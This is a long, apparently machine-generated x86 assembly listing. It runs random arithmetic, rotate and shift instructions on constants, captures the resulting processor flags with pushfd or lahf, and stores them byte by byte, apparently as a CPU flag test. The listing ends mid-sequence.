mov ebx, 0x675b1aae
sub ebx, 0xebf88b21
mov eax, 0xcfa4ff85
aas
mov eax, 0xcf0e61c6
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe1f6e41b
rol eax, 1
mov eax, 0xacc750f0
mov ecx, 0x7e06b7d5
ror eax, cl
mov eax, 0x51849fb7
mov ecx, 0xfb97e802
shl eax, cl
mov ebx, 0x49ac710c
mov edx, 0xf67587b5
add ebx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc62c64b
rol edx, 1
mov ebx, 0x1a4f28aa
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xae3b7370
mov ecx, 0x8ccaba7f
rol edx, cl
mov eax, 0x65a3c7df
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x2ae8a945
add edx, 0x25013cf6
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x93af0f46
mov ecx, 0x8f8e3858
rol edx, cl
mov ebx, 0x7a4e186f
inc ebx
mov edx, 0xed5a254c
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x33bd8bc4
dec ebx
mov ebx, 0xaa5f9ef6
mov ecx, 0x12fe92d5
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x37aebdea
cmp ebx, 0xe94f7844
mov eax, 0xcb6bec90
aas
mov ecx, 0xe361c553
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x46e01a1e
rol eax, 1
mov eax, 0x5b2bbb35
rol eax, 1
mov edx, 0xd3a0de65
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xeb32374f
inc eax
mov eax, 0x887e278d
mov ecx, 0x2a394aa8
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2956e708
mov ecx, 0xe77173c7
ror edx, cl
mov edx, 0xac76d7c
mov eax, 0x68f44603
add edx, eax
mov eax, 0x3919af73
aas
mov ecx, 0xe28cb29e
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xf72401cc
mov ecx, 0x33b7ea37
ror edx, cl
mov edx, 0x6bc09e6
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x715447ee
sub ecx, 0x8fd4206
mov eax, 0x37f9a32f
aaa
mov ebx, 0x84a13660
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xd89e0e40
sub ebx, 0x8f7f7bd0
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xea8bf377
mov ebx, 0x6768e607
cmp eax, ebx
mov eax, 0xbb8043ed
aaa
mov ecx, 0x62477cd0
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xe45b6c21
dec eax
mov ebx, 0x260db2e5
mov ecx, 0x98a48032
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x90ad36e7
sal ebx, 0xa7
mov ecx, 0x28656057
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x97423a00
cmp ebx, 0xb3539f62
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x39cb3eb3
rol eax, 1
mov eax, 0x81c0b415
mov ecx, 0x17430acf
ror eax, cl
mov ecx, 0x2bbbd8ea
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x5733b4d4
dec eax
mov ebx, 0x4225c71e
mov ecx, 0xb61c84dc
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xacb40a5f
mov ecx, 0x5870dd4
ror ebx, cl
mov edx, 0x439e238f
rol edx, 1
mov edx, 0x239b6230
inc edx
mov eax, 0x91505840
mov ecx, 0x6b137625
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x8c96864d
sal edx, 0x83
mov ebx, 0x46b3fa05
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xedee78af
mov ecx, 0xff694e47
shl ebx, cl
mov ebx, 0x32a10087
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x93200d10
mov ecx, 0x12236d30
ror edx, cl
mov ebx, 0x2e44d5ff
shl ebx, 0xc1
mov ecx, 0x86bb0a3
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x3e1214be
rol edx, 1
mov ebx, 0x6367b50
mov ecx, 0xabd1c9c3
ror ebx, cl
mov ebx, 0x8110bd79
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3c35a09a
mov ebx, 0xf8ca6601
sub eax, ebx
mov eax, 0x81012da9
mov ecx, 0x76e8c17c
rol eax, cl
mov edx, 0x1edd726f
mov ebx, 0xaa5290a5
add edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb9388d04
rol edx, 1
mov ecx, 0xf01a4fdb
mov eax, 0x574b51e9
sub ecx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x9e179688
shl eax, 1
mov ebx, 0xd6925f7f
inc ebx
mov ebx, 0xa5eac28b
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x7e8d59a4
rol ebx, 1
mov ecx, 0x92bce61c
sub ecx, 0xf245e847
mov eax, 0xb9665757
aas
mov ebx, 0x7d540aea
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xf6b54aa2
rol eax, 1
mov edx, 0x476db648
add edx, 0xcfa28dd7
mov eax, 0x43eecb87
aas
mov ecx, 0x655233b7
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x57e33a75
inc ebx
mov ebx, 0x420d1217
mov ecx, 0xa4a44aab
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x7ed4fa93
dec ecx
mov ebx, 0x6f799dcf
rol ebx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x6d96cd95
shl ebx, 1
mov ebx, 0x309c0a77
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x3a1e2450
inc edx
mov edx, 0xda2a4d41
mov ecx, 0x47159f11
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xdf38b07e
mov ecx, 0x1f9b74e6
shl eax, cl
mov edx, 0x42028782
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x2fb29993
rol ebx, 1
mov eax, 0x98b99d05
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x39ae1dfa
sal eax, 1
mov edx, 0x1e3f3330
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xa2c390c9
mov ecx, 0xe7407b43
add ebx, ecx
mov ebx, 0x8efa019
inc ebx
mov ebx, 0xca60b8b
mov ecx, 0x601a6e6
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x66e2d38d
mov ecx, 0xb3adb604
shl ebx, cl
mov ecx, 0x24eb6d44
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x37d5cbe1
dec ecx
mov edx, 0xcdb72433
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x92a7049d
mov edx, 0x8354cdf0
sub ebx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe8ec2708
aas
mov edx, 0xde166fc1
mov ecx, 0x7731fcb8
rol edx, cl
mov edx, 0x7ffe9c9c
mov ecx, 0x4fb91242
ror edx, cl
mov eax, 0x2e75ceaf
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xb72dc12b
mov ecx, 0x3a448962
rol edx, cl
mov edx, 0x44613b5a
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x1e998c0e
rol ebx, 1
mov ecx, 0x260c7c2d
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x32367847
dec ecx
mov edx, 0x3bc2864c
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x73c56ab4
mov ecx, 0x2a3c8b4c
rol edx, cl
mov ebx, 0x567dfb4a
mov ecx, 0x84d41485
ror ebx, cl
mov eax, 0x57efc2f2
rol eax, 1
mov eax, 0x41f5d1d6
add eax, 0xeb8ad8d0
mov eax, 0x3656b25a
aas
mov ebx, 0xc1a708b8
mov ecx, 0x5a663acf
ror ebx, cl
mov eax, 0x2c68d204
sub eax, 0xc88171be
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x5575ae7c
sal eax, 1
mov eax, 0xdbd6bee8
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xb0dca198
mov ecx, 0x614f3f0b
ror edx, cl
mov ecx, 0x81289170
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x54726ad1
neg ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8e04a01f
inc eax
mov eax, 0x86702c09
mov ecx, 0x80b36192
ror eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xc359347f
cmp eax, 0x7b1ef7c1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xc30b99b1
mov ecx, 0xb2dafa97
sar ebx, cl
mov edx, 0x28946ecc
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x75d75d55
dec eax
mov ebx, 0x425c1b8f
mov ecx, 0x48cfda63
rol ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x701dac5c
inc edx
mov edx, 0xf119bad4
mov ecx, 0xb860a4dd
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x1cfa4825
inc ecx
mov edx, 0x41b47fe9
mov ecx, 0xce8765e2
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x77ff4cd
mov ecx, 0x309e4404
rol ebx, cl
mov edx, 0x67771eb6
dec edx
mov ebx, 0x4136ca0
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xff68ab45
shl ebx, 0xb1
mov ecx, 0xaa149c2f
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x54286a3d
mov ecx, 0x924b33d2
ror ebx, cl
mov edx, 0x8ad47a27
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x606c4329
mov ecx, 0xd51f8d59
ror ebx, cl
mov eax, 0xf0b17990
aas
mov ebx, 0xdd8c43a2
mov ecx, 0x92bf6f44
sal ebx, cl
mov edx, 0x9b9ee5b2
mov eax, 0x967fb2aa
add edx, eax
mov eax, 0xc2e429db
aas
mov ebx, 0xdad367b0
sar ebx, 0x98
mov ebx, 0x87b1a7f0
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x6c70c503
inc ebx
mov eax, 0x59885ab4
mov ecx, 0xd12b7716
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xeb82aea9
cmp ecx, 0x12934ca7
mov edx, 0xca75c1cb
add edx, 0xa0ae6f3
mov eax, 0xfa28a05a
rol eax, 1
mov ebx, 0x5729800
mov ecx, 0x727de4db
rol ebx, cl
mov ebx, 0x266c3ff6
mov ecx, 0xf31f59e5
rol ebx, cl
mov edx, 0x407caf0
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x4acc659d
inc ebx
mov eax, 0xfcf73a3b
mov ecx, 0x30f677d8
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x43dad43e
rol ebx, 1
mov eax, 0x39019250
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xddf598ea
mov ecx, 0x1f2c16ee
rol ebx, cl
mov eax, 0x21820b4
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x7da7b83d
sal ebx, 0xc1
mov eax, 0x7a9f9faa
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1e974f2b
mov ecx, 0x55164aae
rol eax, cl
mov ebx, 0xefabb6be
mov edx, 0x5608c594
cmp ebx, edx
mov eax, 0xba57b1ec
rol eax, 1
mov ecx, 0x2936350a
mov ebx, 0x303743a6
add ecx, ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x259cec6d
mov edx, 0xbba59e96
cmp eax, edx
mov eax, 0xdfd27c22
aaa
mov eax, 0x37a07fb2
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x6c431025
mov ecx, 0xddf23c07
shl ebx, cl
mov eax, 0x3aec042b
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xec336ae9
rol ebx, 1
mov ebx, 0x371caee9
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xc6f17ca8
rol eax, 1
mov edx, 0x63298138
rol edx, 1
mov edx, 0xbfbab3c6
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xf555aa68
rol edx, 1
mov eax, 0xc235b27f
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xb67a0d9f
inc edx
mov ebx, 0xf34a853
mov ecx, 0x6207f8c5
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe701c6d1
sar ebx, 0xe
mov ebx, 0x39009ce1
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x7ffb218e
cmp ecx, 0x28186bcd
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xf9e1072a
sal ebx, 1
mov ebx, 0x10e04330
dec ebx
mov ebx, 0x5b0cca35
mov ecx, 0x963fb1c4
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x11072d5a
mov ecx, 0xcb465eb0
ror ebx, cl
mov ebx, 0xd59e187
rol ebx, 1
mov ebx, 0xe9100fc
cmp ebx, 0x91f64ce8
mov eax, 0xe9ce399b
aas
mov ebx, 0x5dbf4e79
sal ebx, 0x6e
mov edx, 0x16db0670
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x6ccb9360
sub eax, 0x5ca8d136
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x18c0f4de
inc ebx
mov eax, 0x8184db13
mov ecx, 0xeb97a371
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xb68f9560
mov ecx, 0xf1ee928b
rol ebx, cl
mov eax, 0xe887880e
rol eax, 1
mov edx, 0x28d942a9
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x8a383c26
mov ecx, 0x969b0b05
ror edx, cl
mov eax, 0x6850bad4
rol eax, 1
mov eax, 0x79ac0982
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xdc2f6f27
sal ebx, 0x47
mov ecx, 0xece66192
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x14ce303d
add ecx, 0xcfef8bac
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xcde719d8
mov edx, 0x3d94f7b6
cmp ebx, edx
mov ebx, 0x1e902f10
mov ecx, 0xe5534ff1
rol ebx, cl
mov eax, 0xc69af6ef
aas
mov edx, 0xa83e837c
mov ecx, 0xf0f983e4
ror edx, cl
mov ebx, 0xa3b54ffa
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x8933d8e4
mov ecx, 0x98a2e86e
sar edx, cl
mov ebx, 0xbeb949f0
rol ebx, 1
mov ecx, 0x985e8ea0
dec ecx
mov ebx, 0xdc6af0d9
mov ecx, 0xea55d45a
ror ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x14d323d9
mov ecx, 0x8ec29db5
ror eax, cl
mov eax, 0x3a0d5a1
sub eax, 0x7b597269
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x9073c6d0
neg edx
mov eax, 0xbd2e6ab5
aas
mov edx, 0x5a5c7f50
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xfac73196
mov ecx, 0x4406610c
rol ebx, cl
mov ecx, 0xcdde9221
add ecx, 0x7bbf1cd2
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x23b722ee
mov ecx, 0xbab65073
ror edx, cl
mov edx, 0x3d66bbbe
sar edx, 0x98
mov edx, 0xe8438a69
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x65d8a9c5
neg eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x68336d45
rol ebx, 1
mov ebx, 0xcb2535de
rol ebx, 1
mov eax, 0x39dd1bbc
mov ecx, 0x59b4fd8d
rol eax, cl
mov eax, 0x949bbd00
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x8b02bcf5
rol edx, 1
mov ebx, 0x554e50b5
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x57818006
mov ecx, 0x97687b84
ror edx, cl
mov eax, 0x1003f5e3
mov ecx, 0xb8b2caea
ror eax, cl
mov ecx, 0x22f1a493
inc ecx
mov eax, 0x3f293892
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x524749cb
mov eax, 0xda74088d
add ecx, eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7a2f24a0
mov ebx, 0x883cece8
add eax, ebx
mov eax, 0x8027cbcf
aaa
mov ebx, 0x96f71a46
mov ecx, 0xf2f6e164
rol ebx, cl
mov eax, 0xc7f57711
shl eax, 0x16
mov eax, 0xc8662214
mov ecx, 0x58c12856
sar eax, cl
mov edx, 0x71c694a0
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xf39e0ad5
mov ecx, 0xcdd99ab0
ror ebx, cl
mov ebx, 0x470a2d20
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x5d740423
shl eax, 1
mov edx, 0x6e5eb8f7
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xc94bc680
neg eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x7d7a1158
mov eax, 0xc92b5f44
add edx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xa91ea271
mov ebx, 0x55ff3720
add edx, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xba636e51
rol eax, 1
mov eax, 0xc08e120f
inc eax
mov eax, 0x579a614b
mov ecx, 0x944502e5
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x8ceca07d
inc ecx
mov ebx, 0x8bd87d2c
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe20afa9f
inc edx
mov eax, 0x14d66462
mov ecx, 0x50f1a2f0
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2d29e3a7
mov ecx, 0x1ab00482
ror edx, cl
mov edx, 0x6506b00f
inc edx
mov eax, 0x59636085
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa751f2dd
add edx, 0x1bb6eb01
mov eax, 0xea908905
aas
mov ebx, 0x1fbc3e87
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x5339990
dec ecx
mov eax, 0xc18f04bb
rol eax, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x5a526161
rol eax, 1
mov edx, 0xc99ef396
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x2c770a1f
mov ecx, 0x6e765c94
ror eax, cl
mov edx, 0xcd497dd1
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x7d0ae46b
mov eax, 0x797b4199
add edx, eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xa429b50b
mov ecx, 0xdb0d962
ror ebx, cl
mov edx, 0xe2c85d9d
mov ecx, 0xaf612602
sub edx, ecx
mov ecx, 0x290f7348
sub ecx, 0x3d9ca2d6
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xa434be12
mov ecx, 0x2b071822
rol ebx, cl
mov edx, 0xc733d10
mov ecx, 0x20e2b855
ror edx, cl
mov edx, 0x114a3836
mov ecx, 0x66b51625
rol edx, cl
mov eax, 0x59fe8d8f
shl eax, 1
mov eax, 0xea1e8236
sub eax, 0x2ffddeb
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x52f7e728
mov ecx, 0x1ef6ca08
rol eax, cl
mov ecx, 0x3482b60f
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xd5511615
mov edx, 0xb1b69bf0
sub ecx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xdbfd6e97
dec ecx
mov eax, 0x74976740
mov ecx, 0x4316870b
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x9408504b
sar eax, 0xf4
mov eax, 0xf5d662c4
mov ecx, 0x15f15d7e
ror eax, cl
mov eax, 0x730c56fc
mov ebx, 0xd455fbd2
sub eax, ebx
mov eax, 0x17a4f13c
aaa
mov eax, 0x7f7d0e20
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x676c2286
mov eax, 0x21351045
cmp ebx, eax
mov eax, 0x6896e8cf
aaa
mov ebx, 0x890759ef
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xbcc8362
mov ecx, 0x91ff0166
ror ebx, cl
mov eax, 0xc1f78ea6
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x350b982b
shl ebx, 1
mov eax, 0x16e7d8d6
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xae42cb29
sar ebx, 0x91
mov ecx, 0x6c8e7328
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x82a73b70
mov ebx, 0xb3540ae0
add eax, ebx
mov eax, 0x153e0bcf
aas
mov ecx, 0x18ecabcf
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x22384d4f
mov eax, 0xd211b66e
cmp edx, eax
mov eax, 0x6d0268d8
aaa
mov eax, 0x206f4c27
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x22656f0
mov ecx, 0x61817c97
ror eax, cl
mov edx, 0xbddc8c9e
sub edx, 0xee5f198
mov eax, 0x6c47f7e1
aaa
mov ebx, 0x9d3f00c9
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xe23653a3
mov ecx, 0x77d119cd
rol ebx, cl
mov edx, 0x542f9baa
cmp edx, 0x5a3c3886
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x14ca86ce
cmp eax, 0x963b8e50
mov eax, 0x5b17a3a8
aas
mov eax, 0x2e46218b
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xc01ee9cb
rol edx, 1
mov ebx, 0x2bb83b5f
mov ecx, 0xce1b6e1d
ror ebx, cl
mov ebx, 0x2a8213ac
mov ecx, 0xc1cd5e5b
ror ebx, cl
mov eax, 0x5d85f5bc
mov ecx, 0xa2fc14be
ror eax, cl
mov edx, 0x9b8a428a
add edx, 0x75fbe724
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x60307b3c
mov ecx, 0xa9732a45
ror ebx, cl
mov ebx, 0x191d5e10
shl ebx, 1
mov edx, 0x3560be00
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x351183e
rol eax, 1
mov ebx, 0x69fd4e74
sub ebx, 0x66f2168a
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xe24ad18b
mov ecx, 0xdbb564db
rol edx, cl
mov eax, 0x48cd64f5
shl eax, 1
mov edx, 0x2401631d
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x19dfbdc7
mov ecx, 0x262c1922
add ebx, ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xce25ef5
inc ebx
mov eax, 0x9c06aa04
mov ecx, 0xb6e19fd8
ror eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x1a5164ec
shl edx, 1
mov ebx, 0x3f24bed3
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xd36d7fe0
dec ebx
mov edx, 0xdb1c672e
rol edx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xbe87c46d
rol edx, 1
mov edx, 0xe09ed88a
mov ecx, 0x4ed91da1
rol edx, cl
mov edx, 0x65765b14
mov ecx, 0x11aaed
rol edx, cl
mov eax, 0xf805dc6f
mov ecx, 0x177c9eee
rol eax, cl
mov eax, 0x22bde7ea
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xec7576b7
mov ecx, 0x57ac4fa4
sar eax, cl
mov ebx, 0xd6d62e93
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xfc99662d
mov ecx, 0xc1e04c0d
sal edx, cl
mov ecx, 0xcf6aa4e3
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x960748f5
mov ecx, 0x44462323
ror eax, cl
mov ebx, 0x961e9790
rol ebx, 1
mov edx, 0x4af6236b
sal edx, 1
mov edx, 0x2082e079
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2b85577f
mov ecx, 0xe8fc57b3
rol edx, cl
mov edx, 0x463df83c
inc edx
mov eax, 0x73fbbc92
mov ecx, 0xd18afd19
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x21c756b4
add ecx, 0x33f473e7
mov eax, 0x98195ad2
aaa
mov ebx, 0xd8c49d1
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4aee4a6e
mov ecx, 0xb06902c1
shl edx, cl
mov edx, 0x5deddad5
shl edx, 0x23
mov ebx, 0x3f5fadd3
shl ebx, 0xa2
mov edx, 0x432d5790
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xbe4fc5f0
neg ebx
mov eax, 0xf06b51a4
aaa
mov ebx, 0x1061c2d9
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xd8590808
sub eax, 0x6c1e0b85
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x619303af
sal ebx, 1
mov ecx, 0x83ef09e4
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x32185cbd
mov ebx, 0xd471f861
sub eax, ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xdb5c5e0f
inc edx
mov ebx, 0xbbe155ff
mov ecx, 0x51489f6d
rol ebx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xa789af3c
sal ebx, 1
mov ecx, 0x9e69ec70
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xdfc623e4
mov ecx, 0xb1a10944
rol eax, cl
mov ebx, 0xb9aa76e2
mov ecx, 0xf4953c33
rol ebx, cl
mov ebx, 0x2e4e7ac0
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x5c299c9f
inc eax
mov eax, 0x189da9a0
mov ecx, 0x7b749eae
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x2037507d
sub ecx, 0xa9a446a1
mov eax, 0x5dcc8151
mov ecx, 0xebff2317
rol eax, cl
mov edx, 0x8eebb2f4
shl edx, 0xf8
mov eax, 0xea0da003
rol eax, 1
mov edx, 0x1418ee6
sal edx, 1
mov edx, 0xd3061d25
mov ecx, 0x69e14870
sar edx, cl
mov eax, 0xee84bf8f
mov ecx, 0xec97c597
rol eax, cl
mov ecx, 0x2f0e38cc
cmp ecx, 0x7d2f581a
mov edx, 0x41f6c1b5
shl edx, 0x4d
mov ebx, 0x14a6cd10
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x86427eb5
dec edx
mov eax, 0x9b9a8771
mov ecx, 0x6845546a
ror eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x3f21340
rol edx, 1
mov edx, 0x979f4639
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x19817bce
mov ecx, 0x2168626a
rol eax, cl
mov ebx, 0xc203761c
mov ecx, 0xf2b2fa13
rol ebx, cl
mov ebx, 0x6e7bfd6a
add ebx, 0xb498021c
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xc129bdd4
dec edx
mov ebx, 0x46e5a24f
mov ecx, 0xd5dced4f
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6ccfcfb
sar eax, 0x2a
mov ecx, 0x8ae8b7ff
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe3d6356f
mov ecx, 0xfbf16167
sal ebx, cl
mov eax, 0x9347b1e4
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x8c6a318b
inc ebx
mov ebx, 0xb5a468aa
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x153c69ed
rol edx, 1
mov ecx, 0x27e60f80
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4c587980
mov ecx, 0x81b136f3
add eax, ecx
mov eax, 0x68b34d27
aaa
mov ebx, 0x3b2b32ed
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7bd27065
rol ebx, 1
mov ebx, 0xe9cc1060
mov ecx, 0x27ff05be
ror ebx, cl
mov ebx, 0x80cd7731
cmp ebx, 0x7d8280e0
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x3ada6e9c
rol ebx, 1
mov edx, 0x7083b3a0
sal edx, 1
mov ecx, 0x10f5a8fd
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x69adc603
add edx, 0xe4e20274
mov eax, 0x6d2e7700
aaa
mov edx, 0x216569f5
dec edx
lahf
xchg ah, al
